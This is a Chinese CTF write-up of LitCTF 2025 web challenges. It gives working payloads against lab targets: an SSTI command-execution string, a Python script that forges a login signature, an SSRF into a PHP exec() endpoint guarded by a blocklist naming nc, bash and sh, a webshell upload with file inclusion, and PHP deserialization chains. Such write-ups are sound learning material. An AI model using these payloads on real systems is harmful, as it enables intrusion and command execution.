LitCTF2025 复现wp

[LitCTF 2025]复现wp

当时简单看了两眼就没做了,比赛结束之后看着大佬的wp复现一下

星愿信箱

一个简单的ssti,{{}}被过滤了,用{%%}做即可,payload:

{%print(url_for.__globals__.os.popen('tac /flag').read())%}

nest_js

弱密码,用burp爆破出来admin/password

easy_signin

登录界面源码

const loginBtn = document.getElementById('loginBtn');
        const passwordInput = document.getElementById('password');
        const errorTip = document.getElementById('errorTip');
        const rawUsername = document.getElementById('username').value; 

     
        loginBtn.addEventListener('click', async () => {
            const rawPassword = passwordInput.value.trim();
            if (!rawPassword) {
                errorTip.textContent = '请输入密码';
                errorTip.classList.add('show');
                passwordInput.focus();
                return;
            }

            const md5Username = CryptoJS.MD5(rawUsername).toString();   
            const md5Password = CryptoJS.MD5(rawPassword).toString();   

     
            const shortMd5User = md5Username.slice(0, 6);  
            const shortMd5Pass = md5Password.slice(0, 6);  

          
            const timestamp = Date.now().toString(); //五分钟

       
            const secretKey = 'easy_signin';  
            const sign = CryptoJS.MD5(shortMd5User + shortMd5Pass + timestamp + secretKey).toString();

            try {
                const response = await fetch('login.php', {
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/x-www-form-urlencoded',
                        'X-Sign': sign  
                    },
                    body: new URLSearchParams({
                        username: md5Username,   
                        password: md5Password,   
                        timestamp: timestamp
                    })
                });

                const result = await response.json();
                if (result.code === 200) {
                    alert('登录成功!');
                    window.location.href = 'dashboard.php'; 
                } else {
                    errorTip.textContent = result.msg;
                    errorTip.classList.add('show');
                    passwordInput.value = '';
                    passwordInput.focus();
                    setTimeout(() => errorTip.classList.remove('show'), 3000);
                }
            } catch (error) {
                errorTip.textContent = '网络请求失败';
                errorTip.classList.add('show');
                setTimeout(() => errorTip.classList.remove('show'), 3000);
            }
        });

        passwordInput.addEventListener('input', () => {
            errorTip.classList.remove('show');
        });

代码给了sign的生成逻辑,可以利用这个创建一个账号,脚本:

import requests
import time
import hashlib

def md5(text):
    return hashlib.md5(text.encode('utf-8')).hexdigest()

#基本数据
raw_usernamne = 'fSEDFSEDF'
raw_password = 'dsfSFwaefr'
secretKey = 'easy_signin'
timestamp = str(int(time.time()*1000))
print('timestamp:', timestamp)

#计算md5值
md5user = md5(raw_usernamne)
print('md5user:',md5user)
md5pass = md5(raw_password)
print('md5pass:',md5pass)

#取md5值前六位用于计算sign
short_md5_user = md5user[:6]
short_md5_pass = md5pass[:6]

#计算sign的值
sign = md5(short_md5_user + short_md5_pass + timestamp + secretKey)
print('sign:',sign)

url = 'http://node6.anna.nssctf.cn:26087/login.php'

headers = {
    'Content-Type': 'application/x-www-form-urlencoded',
    'X-Sign': sign
}

data = {
    'username': md5user,
    'password': md5pass,
    'timestamp': timestamp
}

r = requests.post(url, headers=headers, data=data)
print(r.text)
print(r.headers)

不过不知道为什么这里user和password只能是admin/password,用其他的显示账号错误,然后抓包改X-Sign、timestamp、username和password即可登录

登陆之后给了/var/www/html/backup/8e0132966053d4bf8b2dbe4ede25502b.php,发现显示非本地用户,抓包加X-Forwarded-For不行,不知道为什么,用dirsearch扫到有个api.js,访问发现给了一个/api/sys/urlcode.php?url=,可以利用这个打ssrf:

/api/sys/urlcode.php?url=http://127.0.0.1/backup/8e0132966053d4bf8b2dbe4ede25502b.php

源码

<?php
if ($_SERVER['REMOTE_ADDR'] == '127.0.0.1') {
highlight_file(__FILE__);

$name="waf";
$name = $_GET['name'];


if (preg_match('/\b(nc|bash|sh)\b/i', $name)) {
    echo "waf!!";
    exit;
}


if (preg_match('/more|less|head|sort/', $name)) {
    echo "waf";
    exit;
}


if (preg_match('/tail|sed|cut|awk|strings|od|ping/', $name)) {
    echo "waf!";
    exit;
}

exec($name, $output, $return_var);
echo "执行结果:\n";
print_r($output);
echo "\n返回码:$return_var";
} else {
    echo("非本地用户");
}

?>

这里需要进行url二次编码,个人猜想可能是进行网页快照时进行了一次url解码,然后页面又解码一次,所以需要两次,这里可以用ls ..直接查看当前文件父目录或者从根目录一层层访问ls /var/www/html,回显

访问327a6c4304ad5938eaf0efb6cc3e53dc.php即可

ez_file

先看网页源代码,有个file查看头像,可能可以用来查看文件,在登录页面传参file没用

再看登录,试出来弱密码是admin/password,登录后发现是文件上传页面,把php、htaccess、.user.ini给ban了,上传jpg后缀的马,在这个界面试一下用file参数包含传的文件,可行

君の名は

源码

 <?php
highlight_file(__FILE__);
error_reporting(0);
create_function("", 'die(`/readflag`);');
class Taki
{
    private $musubi;
    private $magic;
    public function __unserialize(array $data)
    {
        $this->musubi = $data['musubi'];
        $this->magic = $data['magic'];
        return ($this->musubi)();
    }
    public function __call($func,$args){
        (new $args[0]($args[1]))->{$this->magic}();
    }
}

class Mitsuha
{
    private $memory;
    private $thread;
    public function __invoke()
    {
        return $this->memory.$this->thread;
    }
}

class KatawareDoki
{
    private $soul;
    private $kuchikamizake;
    private $name;

    public function __toString()
    {
        ($this->soul)->flag($this->kuchikamizake,$this->name);
        return "call error!no flag!";
    }
}

$Litctf2025 = $_POST['Litctf2025'];
if(!preg_match("/^[Oa]:[\d]+/i", $Litctf2025)){
    unserialize($Litctf2025);
}else{
    echo "把O改成C不就行了吗,笨蛋!~(∠・ω< )⌒☆";
} 

分析源码,一开始用create_function创建了匿名函数,执行/readflag,那么目的就是调用这个匿名函数,问题就是怎么调用这个匿名函数

首先就是匿名函数的名字,这个直接输出一下就可以知道了

<?php
$a=create_function("", 'die(`/readflag`);');
var_dump($a);

/*输出
string(9) "\000lambda_1"
*/

那么怎么调用呢,有两个方法,第一个是直接用return,另外一个是在__call中利用ReflectionFunction的invoke方法

先看一下ReflectionFunction的invoke方法在php手册中的用法

然后是__call(\(func,\)args)的传参,

假如我们触发__call($func,$args)调用的函数是

flag($arg1,$arg2)

那么触发__call($func,$args)$func就会被赋值为"flag";$args就会被赋值为flag()的参数构成的数组。所以要给$args赋值需要在flag()的参数里赋值。

<?php
error_reporting(0);
class Taki
{
    public $musubi;
    public $magic = 'invoke';

}

class Mitsuha
{
    public $memory;
    public $thread;

}

class KatawareDoki
{
    public $soul;
    public $kuchikamizake = "ReflectionFunction";
    public $name = "\000lambda_1";

}

$a = new Taki();
$a -> musubi = new Mitsuha();
$a -> musubi -> thread = new KatawareDoki();
$a -> musubi -> thread -> soul = new Taki();
$arr = array('evil'=>$a);
$b = new ArrayObject($arr);
echo serialize($b);

直接用return调用

<?php
error_reporting(0);
class Taki
{
    public $musubi = '\000lambda_1';
    public $magic;

}

class Mitsuha
{
    public $memory;
    public $thread;

}

class KatawareDoki
{
    public $soul;
    public $kuchikamizake;
    public $name;

}

$a = new Taki();
$arr = array('evil'=>$a);
$b = new ArrayObject($arr);
echo serialize($b);
posted @ 2025-05-28 15:03  Pr0x1ma  阅读(78)  评论(0)    收藏  举报